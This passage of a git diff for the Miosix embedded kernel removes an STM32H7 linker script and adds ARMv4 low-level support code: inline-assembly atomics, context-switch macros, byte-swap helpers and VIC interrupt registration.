(*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/stm32_1M+512k_rom_processes.ld b/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/stm32_1M+512k_rom_processes.ld deleted file mode 100644 index 31c5ef1e8..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/stm32_1M+512k_rom_processes.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 512K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x24000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the bottom 128KB of the RAM */ -_heap_end = 0x24020000; -/* Mapping the process pool into the upper 384KB of the RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x24080000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - /* NOTE: the other 1MB flash must contain the other core reset vector */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - - /* NOTE: for now we support only the AXI SRAM */ - ram(wx) : ORIGIN = _main_stack_top, LENGTH = 128K-_main_stack_size -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cpu/armv4/interfaces-impl/atomic_ops_impl.h b/miosix/arch/cpu/armv4/interfaces-impl/atomic_ops_impl.h new file mode 100644 index 000000000..327d41c95 --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/atomic_ops_impl.h @@ -0,0 +1,116 @@ +/*************************************************************************** + * Copyright (C) 2013-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +inline int atomicSwap(volatile int *p, int v) +{ + //This is the only atomic operation in the ARM7 assembler + int result; + asm volatile("swp %0, %1, [%2]" : "=&r"(result) : "r"(v),"r"(p) : "memory"); + return result; +} + +inline void atomicAdd(volatile int *p, int incr) +{ + int a,b; //Temporaries used by ASM code + asm volatile(" mrs %0, cpsr \n" + " tst %0, #0x80 \n" + " orreq %1, %0, #0x80 \n" + " msreq cpsr_c, %1 \n" + " ldr %1, [%3] \n" + " add %1, %1, %2 \n" + " str %1, [%3] \n" + " tst %0, #0x80 \n" + " msreq cpsr_c, %0 \n" + : "=&r"(a),"=&r"(b) + : "r"(incr),"r"(p) + : "cc","memory"); +} + +inline int atomicAddExchange(volatile int *p, int incr) +{ + int a; //Temporaries used by ASM code + int result; + asm volatile(" mrs %0, cpsr \n" + " tst %0, #0x80 \n" + " orreq %1, %0, #0x80 \n" + " msreq cpsr_c, %1 \n" + " ldr %1, [%3] \n" + " add %2, %2, %1 \n" + " str %2, [%3] \n" + " tst %0, #0x80 \n" + " msreq cpsr_c, %0 \n" + : "=&r"(a),"=&r"(result),"+&r"(incr)//Incr is read and clobbered + : "r"(p) + : "cc","memory"); + return result; +} + +inline int atomicCompareAndSwap(volatile int *p, int prev, int next) +{ + int a; //Temporaries used by ASM code + int result; + asm volatile(" mrs %0, cpsr \n" + " tst %0, #0x80 \n" + " orreq %1, %0, #0x80 \n" + " msreq cpsr_c, %1 \n" + " ldr %1, [%2] \n" + " cmp %1, %3 \n" + " streq %4, [%2] \n" + " tst %0, #0x80 \n" + " msreq cpsr_c, %0 \n" + : "=&r"(a),"=&r"(result) + : "r"(p),"r"(prev),"r"(next) + : "cc","memory"); + return result; +} + +inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, + int incr) +{ + int a,b; //Temporaries used by ASM code + void *result; + asm volatile(" mrs %0, cpsr \n" + " tst %0, #0x80 \n" + " orreq %1, %0, #0x80 \n" + " msreq cpsr_c, %1 \n" + " ldr %2, [%3] \n" + " ldr %1, [%2, %4, asl #2] \n" + " add %1, %1, %5 \n" + " str %1, [%2, %4, asl #2] \n" + " tst %0, #0x80 \n" + " msreq cpsr_c, %0 \n" + : "=&r"(a),"=&r"(b),"=&r"(result) + : "r"(p),"r"(offset),"r"(incr) + : "cc","memory"); + return result; +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv4/interfaces-impl/cpu.cpp b/miosix/arch/cpu/armv4/interfaces-impl/cpu.cpp new file mode 100644 index 000000000..82c969aaa --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/cpu.cpp @@ -0,0 +1,72 @@ +/*************************************************************************** + * Copyright (C) 2008-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/cpu.h" + +namespace miosix { + +void initKernelThreadCtxsave(unsigned int *ctxsave, void (*pc)(void *(*)(void*),void*), + unsigned int *sp, unsigned int *spLimit, + void *(*arg0)(void*), void *arg1) noexcept +{ + (void)spLimit; + ctxsave[0]=reinterpret_cast(arg0); + ctxsave[1]=reinterpret_cast(arg1); + ctxsave[2]=0; + ctxsave[3]=0; + ctxsave[4]=0; + ctxsave[5]=0; + ctxsave[6]=0; + ctxsave[7]=0; + ctxsave[8]=0; + ctxsave[9]=0; + ctxsave[10]=0; + ctxsave[11]=0; + ctxsave[12]=0; + ctxsave[13]=reinterpret_cast(sp);//Thread stack pointer + ctxsave[14]=0xffffffff;//threadLauncher never returns, so lr is not important + ctxsave[15]=reinterpret_cast(pc);//Thread pc=entry point + ctxsave[16]=0x1f;//thread starts in system mode with IRQ and FIQ enabled. +} + +void IRQportableStartKernel() noexcept +{ + //create a temporary space to save current registers. This data is useless + //since there's no way to stop the sheduler, but we need to save it anyway. + unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; + ctxsave[getCurrentCoreId()]=s_ctxsave;//make global ctxsave point to it + IRQinvokeScheduler(); + //Can't use fastEnableIrq() since we want to enable both IRQ and FIQ. + //After this point boot is complete and Miosix never disables FIQ again + asm volatile("mrs r0, cpsr \n\t" + "and r0, r0, #~0xc0 \n\t" + "msr cpsr_c, r0 \n\t" + :::"r0", "memory"); + //Never reaches here +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv4/interfaces-impl/cpu_const_impl.h b/miosix/arch/cpu/armv4/interfaces-impl/cpu_const_impl.h new file mode 100644 index 000000000..f330c06b5 --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/cpu_const_impl.h @@ -0,0 +1,57 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +/// \internal Size in words of vector to store CPU context during context switch +/// (17*4=68Bytes). All ARM7 CPUs have the same number of registers. +const unsigned int CTXSAVE_SIZE=17; + +/// \internal Size of additional context saved on the stack during context switch. +/// If zero, this architecture does not save anything on stack during context +/// save. Size is in bytes, not words. MUST be divisible by 4. This constant is +/// used to increase the stack size by the size of context save frame. +const unsigned int CTXSAVE_ON_STACK=0; + +/// \internal Stack alignment required by the CPU +const unsigned int CTXSAVE_STACK_ALIGNMENT=4; + +/// \internal Offset in words to retrieve the thread stack pointer in ctxsave +const unsigned int STACK_OFFSET_IN_CTXSAVE=13; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv4/interfaces-impl/cpu_impl.h b/miosix/arch/cpu/armv4/interfaces-impl/cpu_impl.h new file mode 100644 index 000000000..24ddac98a --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/cpu_impl.h @@ -0,0 +1,139 @@ +/*************************************************************************** + * Copyright (C) 2008-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +/** + * \addtogroup Interfaces + * \{ + */ + +/* + * In this architecture, registers are saved in the following order: + * *ctxsave+64 --> cpsr + * *ctxsave+60 --> pc (return address) + * *ctxsave+56 --> lr + * *ctxsave+52 --> sp + * *ctxsave+48 --> r12 + * *ctxsave+44 --> r11 + * *ctxsave+40 --> r10 + * *ctxsave+36 --> r9 + * *ctxsave+32 --> r8 + * *ctxsave+28 --> r7 + * *ctxsave+24 --> r6 + * *ctxsave+20 --> r5 + * *ctxsave+16 --> r4 + * *ctxsave+12 --> r3 + * *ctxsave+8 --> r2 + * *ctxsave+4 --> r1 + * *ctxsave+0 --> r0 + */ + +/** + * \internal + * \def saveContextFromSwi() + * Save context from the software interrupt + * It is used by the kernel, and should not be used by end users. + */ +#define saveContextFromSwi() \ + asm volatile(/*push lr on stack, to use it as a general purpose reg.*/ \ + "stmfd sp!,{lr} \n\t" \ + /*load ctxsave and dereference the pointer*/ \ + "ldr lr,=ctxsave \n\t" \ + "ldr lr,[lr] \n\t" \ + /*save all thread registers except pc*/ \ + "stmia lr,{r0-lr}^ \n\t" \ + /*add a nop as required after stm ^ (ARM reference stm 2)*/ \ + "nop \n\t" \ + /*move lr to r0, restore original lr and save it*/ \ + "add r0,lr,#60 \n\t" \ + "ldmfd sp!,{lr} \n\t" \ + "stmia r0!,{lr} \n\t" \ + /*save spsr on top of ctxsave*/ \ + "mrs r1,spsr \n\t" \ + "stmia r0,{r1} \n\t"); + +/** + * \def saveContextFromIrq() + * Save context from the emulated PendSV + * It is used by the kernel, and should not be used by end users. + */ +#define saveContextFromIrq() \ + asm volatile(/*Adjust lr, return address in a ISR has a 4 bytes offset*/ \ + "sub lr,lr,#4 \n\t"); \ + saveContextFromSwi(); + +/** + * \def restoreContext() + * Restore context in an IRQ where saveContextFromIrq() or saveContextFromSwi() + * is used. Must be the last line of an IRQ where a context switch can happen + */ +#define restoreContext() \ + asm volatile(/*load ctxsave and dereference the pointer*/ \ + /*also add 64 to make it point to "top of stack"*/ \ + "ldr lr,=ctxsave \n\t" \ + "ldr lr,[lr] \n\t" \ + "add lr,lr,#64 \n\t" \ + /*restore spsr*/ \ + /*after this instructions, lr points to ctxsave[15]*/ \ + "ldmda lr!,{r1} \n\t" \ + "msr spsr,r1 \n\t" \ + /*restore all thread registers except pc*/ \ + "ldmdb lr,{r0-lr}^ \n\t" \ + /*add a nop as required after ldm ^ (ARM reference ldm 2)*/ \ + "nop \n\t" \ + /*lr points to return address, return from interrupt*/ \ + "ldr lr,[lr] \n\t" \ + "movs pc,lr \n\t"); + + +namespace miosix { + +/** + * In the chip we support, interrupt number 31 isn't mapped to any hardware + * peripheral, so we can reuse it as software interrupt for the emulated PendSV. + * If in the future entry 31 will end up conflicting with some actual peripheral + * interrupt of some other chip, we'll figure out how to deal with that. + */ +constexpr unsigned int emulatedPendsvNumber=31; + +inline void IRQinvokeScheduler() noexcept +{ + //NOTE: before Miosix 3 we used "swi 0" as yield also within the kernel, but + //now we a software IRQ to emulate the PendSV of newer ARM cores and call + //the scheduler from there + VICSoftInt=1< * + ***************************************************************************/ + +#pragma once + +#ifdef __cplusplus +#define __MIOSIX_INLINE inline +#else //__cplusplus +#define __MIOSIX_INLINE static inline +#endif //__cplusplus + +__MIOSIX_INLINE unsigned short swapBytes16(unsigned short x) +{ + return (x>>8) | (x<<8); +} + +__MIOSIX_INLINE unsigned int swapBytes32(unsigned int x) +{ + #ifdef __GNUC__ + return __builtin_bswap32(x); + #else //__GNUC__ + return ( x>>24) | + ((x<< 8) & 0x00ff0000) | + ((x>> 8) & 0x0000ff00) | + ( x<<24); + #endif //__GNUC__ +} + +__MIOSIX_INLINE unsigned long long swapBytes64(unsigned long long x) +{ + #ifdef __GNUC__ + return __builtin_bswap64(x); + #else //__GNUC__ + return ( x>>56) | + ((x<<40) & 0x00ff000000000000ull) | + ((x<<24) & 0x0000ff0000000000ull) | + ((x<< 8) & 0x000000ff00000000ull) | + ((x>> 8) & 0x00000000ff000000ull) | + ((x>>24) & 0x0000000000ff0000ull) | + ((x>>40) & 0x000000000000ff00ull) | + ( x<<56); + #endif //__GNUC__ +} + +#undef __MIOSIX_INLINE diff --git a/miosix/arch/cpu/armv4/interfaces-impl/interrupts.cpp b/miosix/arch/cpu/armv4/interfaces-impl/interrupts.cpp new file mode 100644 index 000000000..fd7976a90 --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/interrupts.cpp @@ -0,0 +1,498 @@ +/*************************************************************************** + * Copyright (C) 2008-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "util/util.h" +#include "kernel/logging.h" +#include "interfaces/poweroff.h" +#include "interfaces_private/cpu.h" +#include "miosix_settings.h" +#include "kernel/scheduler/scheduler.h" + +namespace miosix { + +// +// Declaration of interrupt handler functions, used to fill the interrupt table +// + +void __attribute__((interrupt("IRQ"),naked)) emulatedPendSV_Handler(); +void __attribute__((interrupt("IRQ"))) defaultInterrupt(); +static void unexpectedInterrupt(void*); + +// +// Code to build the interrupt forwarding table in RAM and generate the proxies +// + +/** + * \internal + * In the VIC only up to 16 interrupts are actually vectored. To enable more + * than 16 interrupts, the remaining ones would need to be demultiplexed in + * software in the default interrupt handler. This code does not support that + * feature, though. We currently only support registering up to 15 interrupts. + * + * Why 15 interrupts and not 16? We reserve the last interrupt vector (vector 15 + * as the count starts from 0) for the emulatedPendSV used for context switches. + */ +constexpr unsigned int numInterruptVectors=15; + +/** + * \internal + * The ARMv4 VIC supports up to 32 hardware peripherals generating interrupts, + * however not all of them exist on all chips. Moreover, we reserve interrupt + * number 31 as the emulatedPendsvNumber + */ +constexpr unsigned int numInterruptNumbers=31; + +/** + * \internal + * To enable interrupt registration at run-time and interrupt arg pointer + * passing, we use one of these structs per peripheral interrupt allocated in RAM + */ +struct IrqForwardingEntry +{ + //NOTE: a constexpr constructor can be used to perform static initialization + //of the table entries, but this uses a lot of Flash memory to store the + //initialization values. We thus opted to leave the table uninitialized + //and add the IRQinitIrqTable function that provides space efficient + //initialization by means of a loop + // constexpr IrqForwardingEntry() : handler(&unexpectedInterrupt), arg(nullptr) {} + void (*handler)(void *); + void *arg; +}; + +/// \internal Table of run-time registered interrupt handlers and args +static IrqForwardingEntry irqForwardingTable[numInterruptVectors]; + +/** + * \internal + * Interrupt proxy function. One instance of this function is generated for + * each registrable peripheral interrupt in the VIC, and pointers to all these + * functions are placed in the corresponding VIC entry. + * Note that the need to have these forwarding functions is twofold. First, it + * allows regular functions using regilar calling conventions to be registered + * as interrupts, and second it is needed to pass args to registered interrupts, + * something that the hardware doesn't do. + * \tparam N which entry of the irqForwardingTable this function should refer to + * NOTE: more compact assembly is produced if this function is not marked noexcept + */ +template void __attribute__((interrupt("IRQ"))) irqProxy() /*noexcept*/ +{ + (*irqForwardingTable[N].handler)(irqForwardingTable[N].arg); + + //Every vectored interrupt should end by writing to VICVectAddr, so we do it + //in the proxy functions + VICVectAddr=0xff; +} + +// +// Implementation of the interrupts.h interface +// + +void IRQinitIrqTable() +{ + VICIntEnClr=0xffffffff; //Clear all interrupt enable + VICIntEnable=1<(irqProxy<0>); + VICVectAddr1=reinterpret_cast(irqProxy<1>); + VICVectAddr2=reinterpret_cast(irqProxy<2>); + VICVectAddr3=reinterpret_cast(irqProxy<3>); + VICVectAddr4=reinterpret_cast(irqProxy<4>); + VICVectAddr5=reinterpret_cast(irqProxy<5>); + VICVectAddr6=reinterpret_cast(irqProxy<6>); + VICVectAddr7=reinterpret_cast(irqProxy<7>); + VICVectAddr8=reinterpret_cast(irqProxy<8>); + VICVectAddr9=reinterpret_cast(irqProxy<9>); + VICVectAddr10=reinterpret_cast(irqProxy<10>); + VICVectAddr11=reinterpret_cast(irqProxy<11>); + VICVectAddr12=reinterpret_cast(irqProxy<12>); + VICVectAddr13=reinterpret_cast(irqProxy<13>); + VICVectAddr14=reinterpret_cast(irqProxy<14>); + VICVectAddr15=reinterpret_cast(emulatedPendSV_Handler); + VICDefVectAddr=reinterpret_cast(defaultInterrupt); + for(unsigned int i=0;i(i); + #endif //WITH_ERRLOG + } + VICVectCntl15=0x20 | emulatedPendsvNumber; //VIC slot 15 = emulated PendSV +} + +void IRQregisterIrq(GlobalIrqLock& lock, unsigned int id, + void (*handler)(void*), void *arg) noexcept +{ + // NOTE: the VIC slots are also the interrupt priorities, with VIC entry 0 + // having the highest priority. This is annoying, as interrupt priorities + // will be implicitly determined by the order of interrupt registration. + // For now, we'll register interrupts starting from the last so at least + // system interrupts such as the timer and serial will get lower priority + // than other drivers enabled after them, but that's not optimal. + if(id>=numInterruptNumbers) errorHandler(Error::INTERRUPT_REGISTRATION_ERROR); + for(int i=numInterruptVectors-1;i>=0;i--) + { + if((&VICVectCntl0)[i]!=0) continue; + //Found free VIC slot + VICIntEnable=1<=numInterruptNumbers) errorHandler(Error::INTERRUPT_REGISTRATION_ERROR); + for(int i=numInterruptVectors-1;i>=0;i--) + { + if((&VICVectCntl0)[i]!=(0x20 | id)) continue; + //Attempted to unregister an interrupt without knowing who registered it + if(irqForwardingTable[i].handler!=handler || irqForwardingTable[i].arg!=arg) + errorHandler(Error::INTERRUPT_REGISTRATION_ERROR); + (&VICVectCntl0)[i]=0; + VICIntEnClr=1<(id); + #endif //WITH_ERRLOG + return; + } + //Attempted to unregister an interrupt that wasn't registered + errorHandler(Error::INTERRUPT_REGISTRATION_ERROR); +} + +bool IRQisIrqRegistered(unsigned int id) noexcept +{ + if(id>=numInterruptNumbers) return false; + return (VICIntEnable & (1<(arg); + IRQerrorLog("\r\n***Caught unregistered interrupt vector number "); + printUnsignedInt(entryNum); + IRQerrorLog("\r\n"); + #endif //WITH_ERRLOG + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv4/interfaces-impl/interrupts_impl.h b/miosix/arch/cpu/armv4/interfaces-impl/interrupts_impl.h new file mode 100644 index 000000000..dcbdbf743 --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/interrupts_impl.h @@ -0,0 +1,67 @@ +/*************************************************************************** + * Copyright (C) 2008-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +inline void fastDisableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("mrs r0, cpsr \n\t" + "orr r0, r0, #0x80 \n\t" + "msr cpsr_c, r0 \n\t":::"r0", "memory"); +} + +inline void fastEnableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("mrs r0, cpsr \n\t" + "and r0, r0, #~(0x80) \n\t" + "msr cpsr_c, r0 \n\t":::"r0", "memory"); +} + +inline bool areInterruptsEnabled() noexcept +{ + int i; + asm volatile("mrs %0, cpsr ":"=r" (i)); + if(i & 0x80) return false; + return true; +} + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv4/interfaces-impl/mpu_impl.h b/miosix/arch/cpu/armv4/interfaces-impl/mpu_impl.h new file mode 100644 index 000000000..2521c8b50 --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/mpu_impl.h @@ -0,0 +1,40 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#warning Architecture does not provide an MPU, kernel-level W^X will not be enforced + +namespace miosix { + +/** + * \internal + * No MPU in this architecture, do nothing + */ +inline void IRQenableMPU() {} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv4/interfaces-impl/userspace_impl.h b/miosix/arch/cpu/armv4/interfaces-impl/userspace_impl.h new file mode 100644 index 000000000..cb54d4681 --- /dev/null +++ b/miosix/arch/cpu/armv4/interfaces-impl/userspace_impl.h @@ -0,0 +1,4 @@ + +// Proccesses on ARM7TDMI could be implemented, although without memory +// protection. However, there's no support here, and the Miosix toolchain does +// not provide a userspace multilib for ARMv4 diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/atomic_ops_impl.h b/miosix/arch/cpu/armv6m/interfaces-impl/atomic_ops_impl.h new file mode 100644 index 000000000..e727ebf8b --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/atomic_ops_impl.h @@ -0,0 +1,125 @@ 